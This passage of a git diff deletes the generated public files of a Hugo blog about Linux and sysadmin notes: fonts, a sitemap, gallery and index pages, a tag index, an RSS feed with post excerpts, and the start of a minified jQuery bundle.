b/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff2 deleted file mode 100644 index e7f173b7..00000000 Binary files a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff2 and /dev/null differ diff --git a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot b/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot deleted file mode 100644 index 16cb2767..00000000 Binary files a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot and /dev/null differ diff --git a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.svg b/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.svg deleted file mode 100644 index 627f5a36..00000000 --- a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.svg +++ /dev/null @@ -1,308 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.ttf b/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.ttf deleted file mode 100644 index 2c97eead..00000000 Binary files a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.ttf and /dev/null differ diff --git a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff b/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff deleted file mode 100644 index 96c1986f..00000000 Binary files a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff and /dev/null differ diff --git a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff2 b/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff2 deleted file mode 100644 index 9a0064ec..00000000 Binary files a/themes/public/dist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff2 and /dev/null differ diff --git a/themes/public/en/index.html b/themes/public/en/index.html deleted file mode 100644 index 59ad58bc..00000000 --- a/themes/public/en/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org \ No newline at end of file diff --git a/themes/public/en/sitemap.xml b/themes/public/en/sitemap.xml deleted file mode 100644 index d655a801..00000000 --- a/themes/public/en/sitemap.xml +++ /dev/null @@ -1,222 +0,0 @@ - - - - - https://h.cowbay.org/post/change-preferred-language-in-firefox/ - 2018-11-15T11:06:28+08:00 - - - - https://h.cowbay.org/post/copy_role_in_pgsql/ - 2018-11-12T09:48:12+08:00 - - - - https://h.cowbay.org/post/weird-client-server-connection/ - 2018-11-08T18:01:23+08:00 - - - - https://h.cowbay.org/post/nice-du-report-tool-durep/ - 2018-11-06T15:24:29+08:00 - - - - https://h.cowbay.org/post/bookstack-docker/ - 2018-11-06T14:57:14+08:00 - - - - https://h.cowbay.org/articles/enable-synology-public-ssh/ - 2018-11-05T14:16:54+08:00 - - - - https://h.cowbay.org/gallery/sammy93/ - 2018-11-05T07:46:53+08:00 - - - - https://h.cowbay.org/articles/ - 2018-11-05T14:16:54+08:00 - 0 - - - - https://h.cowbay.org/author/ - 0 - - - - - - https://h.cowbay.org/tags/bookstack/ - 2018-11-06T14:57:14+08:00 - 0 - - - - https://h.cowbay.org/categories/ - 0 - - - - - - https://h.cowbay.org/tags/docker/ - 2018-11-06T14:57:14+08:00 - 0 - - - - https://h.cowbay.org/tags/du/ - 2018-11-06T15:24:29+08:00 - 0 - - - - https://h.cowbay.org/author/eric-chang/ - 2018-11-15T11:06:28+08:00 - 0 - - - - https://h.cowbay.org/tags/firefox/ - 2018-11-15T11:06:28+08:00 - 0 - - - - https://h.cowbay.org/gallery/ - 2018-11-05T07:46:53+08:00 - 0 - - - - https://h.cowbay.org/tags/linux/ - 2018-11-06T15:24:29+08:00 - 0 - - - - https://h.cowbay.org/ - 2018-11-15T11:06:28+08:00 - 0 - - - - - - https://h.cowbay.org/tags/metabase/ - 2018-11-15T11:06:28+08:00 - 0 - - - - https://h.cowbay.org/tags/nas/ - 2018-11-05T14:16:54+08:00 - 0 - - - - https://h.cowbay.org/post/ - 2018-11-15T11:06:28+08:00 - 0 - - - - https://h.cowbay.org/tags/ps/ - 2018-11-05T07:46:53+08:00 - 0 - - - - https://h.cowbay.org/categories/ps/ - 2018-11-05T07:46:53+08:00 - 0 - - - - https://h.cowbay.org/tags/psql/ - 2018-11-12T09:48:12+08:00 - 0 - - - - https://h.cowbay.org/tags/ssh/ - 2018-11-05T14:16:54+08:00 - 0 - - - - https://h.cowbay.org/tags/synology/ - 2018-11-05T14:16:54+08:00 - 0 - - - - https://h.cowbay.org/tags/ - 2018-11-06T14:57:14+08:00 - 0 - - - - - - https://h.cowbay.org/tags/ubuntu/ - 2018-11-08T18:01:23+08:00 - 0 - - - - https://h.cowbay.org/tags/%E7%9F%AD%E4%BB%8A/ - 2018-11-05T07:46:53+08:00 - 0 - - - - https://h.cowbay.org/tags/%E7%AD%86%E8%A8%98/ - 2018-11-15T11:06:28+08:00 - 0 - - - - https://h.cowbay.org/categories/%E7%AD%86%E8%A8%98/ - 2018-11-15T11:06:28+08:00 - 0 - - - \ No newline at end of file diff --git a/themes/public/favicon-16x16.png b/themes/public/favicon-16x16.png deleted file mode 100644 index c62ce6fb..00000000 Binary files a/themes/public/favicon-16x16.png and /dev/null differ diff --git a/themes/public/favicon-32x32.png b/themes/public/favicon-32x32.png deleted file mode 100644 index 57a018e3..00000000 Binary files a/themes/public/favicon-32x32.png and /dev/null differ diff --git a/themes/public/gallery/index.html b/themes/public/gallery/index.html deleted file mode 100644 index 4b2977ad..00000000 --- a/themes/public/gallery/index.html +++ /dev/null @@ -1,367 +0,0 @@ - - - - - - - - - - Galleries | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/gallery/my-trip-to-scotland/index.html b/themes/public/gallery/my-trip-to-scotland/index.html deleted file mode 100644 index 66568fd5..00000000 --- a/themes/public/gallery/my-trip-to-scotland/index.html +++ /dev/null @@ -1,445 +0,0 @@ - - - - - - - - - - My Trip to Scotland | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/gallery/my-trip-to-scotland/scotland1.jpg b/themes/public/gallery/my-trip-to-scotland/scotland1.jpg deleted file mode 100644 index bcde7ead..00000000 Binary files a/themes/public/gallery/my-trip-to-scotland/scotland1.jpg and /dev/null differ diff --git a/themes/public/gallery/my-trip-to-scotland/scotland1_hu92019f4794a0544a3ad4410e554ad3af_67831_700x350_fill_q95_box_smart1.jpg b/themes/public/gallery/my-trip-to-scotland/scotland1_hu92019f4794a0544a3ad4410e554ad3af_67831_700x350_fill_q95_box_smart1.jpg deleted file mode 100644 index 440e18fb..00000000 Binary files a/themes/public/gallery/my-trip-to-scotland/scotland1_hu92019f4794a0544a3ad4410e554ad3af_67831_700x350_fill_q95_box_smart1.jpg and /dev/null differ diff --git a/themes/public/gallery/my-trip-to-scotland/scotland2.jpg b/themes/public/gallery/my-trip-to-scotland/scotland2.jpg deleted file mode 100644 index beff6515..00000000 Binary files a/themes/public/gallery/my-trip-to-scotland/scotland2.jpg and /dev/null differ diff --git a/themes/public/gallery/my-trip-to-scotland/scotland2_hud2b2cd68da7f6388575395354a188425_35351_700x350_fill_q95_box_smart1.jpg b/themes/public/gallery/my-trip-to-scotland/scotland2_hud2b2cd68da7f6388575395354a188425_35351_700x350_fill_q95_box_smart1.jpg deleted file mode 100644 index cd84ebf8..00000000 Binary files a/themes/public/gallery/my-trip-to-scotland/scotland2_hud2b2cd68da7f6388575395354a188425_35351_700x350_fill_q95_box_smart1.jpg and /dev/null differ diff --git a/themes/public/gallery/my-trip-to-scotland/scotland3.jpg b/themes/public/gallery/my-trip-to-scotland/scotland3.jpg deleted file mode 100644 index 7624cd67..00000000 Binary files a/themes/public/gallery/my-trip-to-scotland/scotland3.jpg and /dev/null differ diff --git a/themes/public/gallery/my-trip-to-scotland/scotland3_hu85c54f52b5fe4dbca0189cd47269771e_50040_700x350_fill_q95_box_smart1.jpg b/themes/public/gallery/my-trip-to-scotland/scotland3_hu85c54f52b5fe4dbca0189cd47269771e_50040_700x350_fill_q95_box_smart1.jpg deleted file mode 100644 index ebe6cec2..00000000 Binary files a/themes/public/gallery/my-trip-to-scotland/scotland3_hu85c54f52b5fe4dbca0189cd47269771e_50040_700x350_fill_q95_box_smart1.jpg and /dev/null differ diff --git a/themes/public/gallery/my-trip-to-scotland/scotland4.jpg b/themes/public/gallery/my-trip-to-scotland/scotland4.jpg deleted file mode 100644 index b876d18c..00000000 Binary files a/themes/public/gallery/my-trip-to-scotland/scotland4.jpg and /dev/null differ diff --git a/themes/public/gallery/my-trip-to-scotland/scotland4_hu1c4902c66176c948fd8516244d69cc1e_56034_700x350_fill_q95_box_smart1.jpg b/themes/public/gallery/my-trip-to-scotland/scotland4_hu1c4902c66176c948fd8516244d69cc1e_56034_700x350_fill_q95_box_smart1.jpg deleted file mode 100644 index b9987729..00000000 Binary files a/themes/public/gallery/my-trip-to-scotland/scotland4_hu1c4902c66176c948fd8516244d69cc1e_56034_700x350_fill_q95_box_smart1.jpg and /dev/null differ diff --git a/themes/public/gallery/my-trip-to-scotland/scotland5.jpg b/themes/public/gallery/my-trip-to-scotland/scotland5.jpg deleted file mode 100644 index 24f316e8..00000000 Binary files a/themes/public/gallery/my-trip-to-scotland/scotland5.jpg and /dev/null differ diff --git a/themes/public/gallery/my-trip-to-scotland/scotland5_hu5ddc646a14d071d83d62e36cc9a8eba6_46028_700x350_fill_q95_box_smart1.jpg b/themes/public/gallery/my-trip-to-scotland/scotland5_hu5ddc646a14d071d83d62e36cc9a8eba6_46028_700x350_fill_q95_box_smart1.jpg deleted file mode 100644 index 83673a15..00000000 Binary files a/themes/public/gallery/my-trip-to-scotland/scotland5_hu5ddc646a14d071d83d62e36cc9a8eba6_46028_700x350_fill_q95_box_smart1.jpg and /dev/null differ diff --git a/themes/public/gallery/sammy93/index.html b/themes/public/gallery/sammy93/index.html deleted file mode 100644 index 90415e9d..00000000 --- a/themes/public/gallery/sammy93/index.html +++ /dev/null @@ -1,378 +0,0 @@ - - - - - - - - - - Sammy93 | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/images/post-default-1.jpg b/themes/public/images/post-default-1.jpg deleted file mode 100644 index 2c45bc6f..00000000 Binary files a/themes/public/images/post-default-1.jpg and /dev/null differ diff --git a/themes/public/images/post-default-10.jpg b/themes/public/images/post-default-10.jpg deleted file mode 100644 index e42e5e6b..00000000 Binary files a/themes/public/images/post-default-10.jpg and /dev/null differ diff --git a/themes/public/images/post-default-11.jpg b/themes/public/images/post-default-11.jpg deleted file mode 100644 index dc3793c3..00000000 Binary files a/themes/public/images/post-default-11.jpg and /dev/null differ diff --git a/themes/public/images/post-default-12.jpg b/themes/public/images/post-default-12.jpg deleted file mode 100644 index 48a2374a..00000000 Binary files a/themes/public/images/post-default-12.jpg and /dev/null differ diff --git a/themes/public/images/post-default-13.jpg b/themes/public/images/post-default-13.jpg deleted file mode 100644 index e40e7649..00000000 Binary files a/themes/public/images/post-default-13.jpg and /dev/null differ diff --git a/themes/public/images/post-default-2.jpg b/themes/public/images/post-default-2.jpg deleted file mode 100644 index 3f5be806..00000000 Binary files a/themes/public/images/post-default-2.jpg and /dev/null differ diff --git a/themes/public/images/post-default-3.jpg b/themes/public/images/post-default-3.jpg deleted file mode 100644 index e3581b0c..00000000 Binary files a/themes/public/images/post-default-3.jpg and /dev/null differ diff --git a/themes/public/images/post-default-4.jpg b/themes/public/images/post-default-4.jpg deleted file mode 100644 index 7fc064ec..00000000 Binary files a/themes/public/images/post-default-4.jpg and /dev/null differ diff --git a/themes/public/images/post-default-5.jpg b/themes/public/images/post-default-5.jpg deleted file mode 100644 index 92c8e0fd..00000000 Binary files a/themes/public/images/post-default-5.jpg and /dev/null differ diff --git a/themes/public/images/post-default-6.jpg b/themes/public/images/post-default-6.jpg deleted file mode 100644 index 3af9de38..00000000 Binary files a/themes/public/images/post-default-6.jpg and /dev/null differ diff --git a/themes/public/images/post-default-7.jpg b/themes/public/images/post-default-7.jpg deleted file mode 100644 index efce37d2..00000000 Binary files a/themes/public/images/post-default-7.jpg and /dev/null differ diff --git a/themes/public/images/post-default-8.jpg b/themes/public/images/post-default-8.jpg deleted file mode 100644 index 0a373a46..00000000 Binary files a/themes/public/images/post-default-8.jpg and /dev/null differ diff --git a/themes/public/images/post-default-9.jpg b/themes/public/images/post-default-9.jpg deleted file mode 100644 index 56555129..00000000 Binary files a/themes/public/images/post-default-9.jpg and /dev/null differ diff --git a/themes/public/index.html b/themes/public/index.html deleted file mode 100644 index 898f1789..00000000 --- a/themes/public/index.html +++ /dev/null @@ -1,897 +0,0 @@ - - - - - - - - - - 這是MC的HUGO部落格,採用bilberry theme | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - - - - - - -
    - - - - - -
    - - - - -
    -

    [筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase

    -
    - - - 2018-11-15 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    最近在測試metabase,記得幾個月前就有測試過

    - -

    但是當時的界面和現在的樣子差很多,看樣子改版還滿勤勞的

    - -

    所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)

    - -

    不過呢,很討厭的是,一進去就發現語系採用的是簡體中文

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    PostgreSQL 直接從已經存在的使用者複製權限到另一個使用者

    -
    - - - 2018-11-12 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    因為工作上的需求,有個資料庫需要開放給不同team的人去存取

    - -

    雖然都是在同一台機器上的同一個資料庫

    - -

    但是希望能夠不同team的人用不同的資料庫使用者

    - -

    這樣萬一出事,會比較好抓兇手??

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    [筆記] 詭異的client&server間連線的問題,或許跟KVM有關係?

    -
    - - - 2018-11-08 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    這是發生在一個夜黑風高的寂寥深夜….. ( What The FXXX … )

    - -

    來到這個環境之後,有一個很詭異的狀況一直困擾著我

    - -

    在每個分公司,都會有一台伺服器作為KVM Host

    - -

    上面跑兩台VM,一台作為ansible controller (目前沒作用)

    - -

    另一台作為這邊所謂的 “Build Server”

    - -

    用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)

    - -

    問題就發生在這台 Build Server 上…

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    Nice Du Report Tool Durep

    -
    - - - 2018-11-06 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    最近在重新規劃前人留下的backup爛攤子 -各個伺服器統一備份到一台backup storage -想說如果每天能夠看到backup storage的磁碟用量的話 -就可以抓出備份空間成長速度、推估需要多大的磁碟空間 -找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 -基本上可以滿足我的需求

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    Bookstack Docker

    -
    - - - 2018-11-06 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    Bookstack 是一套非常好用的線上”筆記”系統

    - -

    他用圖書館/書本的概念,讓使用者可以建立自己的”圖書館”

    - -

    同時在圖書館內建立不同的”書籍”

    - -

    而且支援 Markdown 語法

    - -

    其他的方式像是在nextcloud上編輯 md檔案(字體太小)

    - -

    或者是boostnote(只能在本機)

    - -

    都或多或少有點小缺點

    - -

    Bookstack則是沒有這些問題,不過就是系統「大」了點…

    - -

    不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入

    -
    - - - 2018-11-05 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file -之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來

    - -

    這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 -像是這篇

    - -

    https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux

    - -

    或者是這篇

    - -

    https://www.maketecheasier.com/mount-google-drive-ubuntu/

    - -

    但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - - - - - - -
    - - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/index.json b/themes/public/index.json deleted file mode 100644 index 43ccce44..00000000 --- a/themes/public/index.json +++ /dev/null @@ -1,121 +0,0 @@ -[ - { - "iconClass": "fa-folder", - "objectID": "https://h.cowbay.org/categories/ps", - "title": "Ps", - "type": "category", - "url": "https://h.cowbay.org/categories/ps" - }, - { - "iconClass": "fa-folder", - "objectID": "https://h.cowbay.org/categories/%E7%AD%86%E8%A8%98", - "title": "筆記", - "type": "category", - "url": "https://h.cowbay.org/categories/%E7%AD%86%E8%A8%98" - }, - { - "iconClass": "fa-user", - "objectID": "https://h.cowbay.org/author/eric-chang", - "title": "Eric chang", - "type": "author", - "url": "https://h.cowbay.org/author/eric-chang" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/bookstack", - "title": "Bookstack", - "type": "tag", - "url": "https://h.cowbay.org/tags/bookstack" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/docker", - "title": "Docker", - "type": "tag", - "url": "https://h.cowbay.org/tags/docker" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/du", - "title": "Du", - "type": "tag", - "url": "https://h.cowbay.org/tags/du" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/firefox", - "title": "Firefox", - "type": "tag", - "url": "https://h.cowbay.org/tags/firefox" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/linux", - "title": "Linux", - "type": "tag", - "url": "https://h.cowbay.org/tags/linux" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/metabase", - "title": "Metabase", - "type": "tag", - "url": "https://h.cowbay.org/tags/metabase" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/nas", - "title": "Nas", - "type": "tag", - "url": "https://h.cowbay.org/tags/nas" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/ps", - "title": "Ps", - "type": "tag", - "url": "https://h.cowbay.org/tags/ps" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/psql", - "title": "Psql", - "type": "tag", - "url": "https://h.cowbay.org/tags/psql" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/ssh", - "title": "Ssh", - "type": "tag", - "url": "https://h.cowbay.org/tags/ssh" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/synology", - "title": "Synology", - "type": "tag", - "url": "https://h.cowbay.org/tags/synology" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/ubuntu", - "title": "Ubuntu", - "type": "tag", - "url": "https://h.cowbay.org/tags/ubuntu" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/%E7%9F%AD%E4%BB%8A", - "title": "短今", - "type": "tag", - "url": "https://h.cowbay.org/tags/%E7%9F%AD%E4%BB%8A" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/%E7%AD%86%E8%A8%98", - "title": "筆記", - "type": "tag", - "url": "https://h.cowbay.org/tags/%E7%AD%86%E8%A8%98" - } -] \ No newline at end of file diff --git a/themes/public/index.xml b/themes/public/index.xml deleted file mode 100644 index 9bde5032..00000000 --- a/themes/public/index.xml +++ /dev/null @@ -1,145 +0,0 @@ - - - - MC部落 - https://h.cowbay.org/ - Recent content on MC部落 - Hugo -- gohugo.io - Thu, 15 Nov 2018 11:06:28 +0800 - - - - - - [筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase - https://h.cowbay.org/post/change-preferred-language-in-firefox/ - Thu, 15 Nov 2018 11:06:28 +0800 - - https://h.cowbay.org/post/change-preferred-language-in-firefox/ - <p>最近在測試metabase,記得幾個月前就有測試過</p> - -<p>但是當時的界面和現在的樣子差很多,看樣子改版還滿勤勞的</p> - -<p>所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)</p> - -<p>不過呢,很討厭的是,一進去就發現語系採用的是簡體中文</p> - -<p></p> - - - - PostgreSQL 直接從已經存在的使用者複製權限到另一個使用者 - https://h.cowbay.org/post/copy_role_in_pgsql/ - Mon, 12 Nov 2018 09:48:12 +0800 - - https://h.cowbay.org/post/copy_role_in_pgsql/ - <p>因為工作上的需求,有個資料庫需要開放給不同team的人去存取</p> - -<p>雖然都是在同一台機器上的同一個資料庫</p> - -<p>但是希望能夠不同team的人用不同的資料庫使用者</p> - -<p>這樣萬一出事,會比較好抓兇手??</p> - -<p></p> - - - - [筆記] 詭異的client&server間連線的問題,或許跟KVM有關係? - https://h.cowbay.org/post/weird-client-server-connection/ - Thu, 08 Nov 2018 18:01:23 +0800 - - https://h.cowbay.org/post/weird-client-server-connection/ - <p>這是發生在一個夜黑風高的寂寥深夜&hellip;.. ( What The FXXX &hellip; )</p> - -<p>來到這個環境之後,有一個很詭異的狀況一直困擾著我</p> - -<p>在每個分公司,都會有一台伺服器作為KVM Host</p> - -<p>上面跑兩台VM,一台作為ansible controller (目前沒作用)</p> - -<p>另一台作為這邊所謂的 &ldquo;Build Server&rdquo;</p> - -<p>用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)</p> - -<p>問題就發生在這台 Build Server 上&hellip;</p> - -<p></p> - - - - Nice Du Report Tool Durep - https://h.cowbay.org/post/nice-du-report-tool-durep/ - Tue, 06 Nov 2018 15:24:29 +0800 - - https://h.cowbay.org/post/nice-du-report-tool-durep/ - <p>最近在重新規劃前人留下的backup爛攤子 -各個伺服器統一備份到一台backup storage -想說如果每天能夠看到backup storage的磁碟用量的話 -就可以抓出備份空間成長速度、推估需要多大的磁碟空間 -找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 -基本上可以滿足我的需求</p> - - - - Bookstack Docker - https://h.cowbay.org/post/bookstack-docker/ - Tue, 06 Nov 2018 14:57:14 +0800 - - https://h.cowbay.org/post/bookstack-docker/ - <p>Bookstack 是一套非常好用的線上&rdquo;筆記&rdquo;系統</p> - -<p>他用圖書館/書本的概念,讓使用者可以建立自己的&rdquo;圖書館&rdquo;</p> - -<p>同時在圖書館內建立不同的&rdquo;書籍&rdquo;</p> - -<p>而且支援 Markdown 語法</p> - -<p>其他的方式像是在nextcloud上編輯 md檔案(字體太小)</p> - -<p>或者是boostnote(只能在本機)</p> - -<p>都或多或少有點小缺點</p> - -<p>Bookstack則是沒有這些問題,不過就是系統「大」了點&hellip;</p> - -<p>不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)</p> - -<p></p> - - - - 筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入 - https://h.cowbay.org/articles/enable-synology-public-ssh/ - Mon, 05 Nov 2018 14:16:54 +0800 - - https://h.cowbay.org/articles/enable-synology-public-ssh/ - <p>公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file -之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來</p> - -<p>這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 -像是這篇</p> - -<p><a href="https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux">https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux</a></p> - -<p>或者是這篇</p> - -<p><a href="https://www.maketecheasier.com/mount-google-drive-ubuntu/">https://www.maketecheasier.com/mount-google-drive-ubuntu/</a></p> - -<p>但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> - -<p></p> - - - - Sammy93 - https://h.cowbay.org/gallery/sammy93/ - Mon, 05 Nov 2018 07:46:53 +0800 - - https://h.cowbay.org/gallery/sammy93/ - - - - - \ No newline at end of file diff --git a/themes/public/js/externalDependencies.39c47e10e241eae2947b3fe21809c572.js b/themes/public/js/externalDependencies.39c47e10e241eae2947b3fe21809c572.js deleted file mode 100644 index dbc3d25b..00000000 --- a/themes/public/js/externalDependencies.39c47e10e241eae2947b3fe21809c572.js +++ /dev/null @@ -1,17 +0,0 @@ -/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */ -!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n+~]|"+M+")"+M+"*"),z=new RegExp("="+M+"*([^\\]'\"]*?)"+M+"*\\]","g"),X=new RegExp(W),U=new RegExp("^"+R+"$"),V={ID:new RegExp("^#("+R+")"),CLASS:new RegExp("^\\.("+R+")"),TAG:new RegExp("^("+R+"|[*])"),ATTR:new RegExp("^"+I),PSEUDO:new RegExp("^"+W),CHILD:new 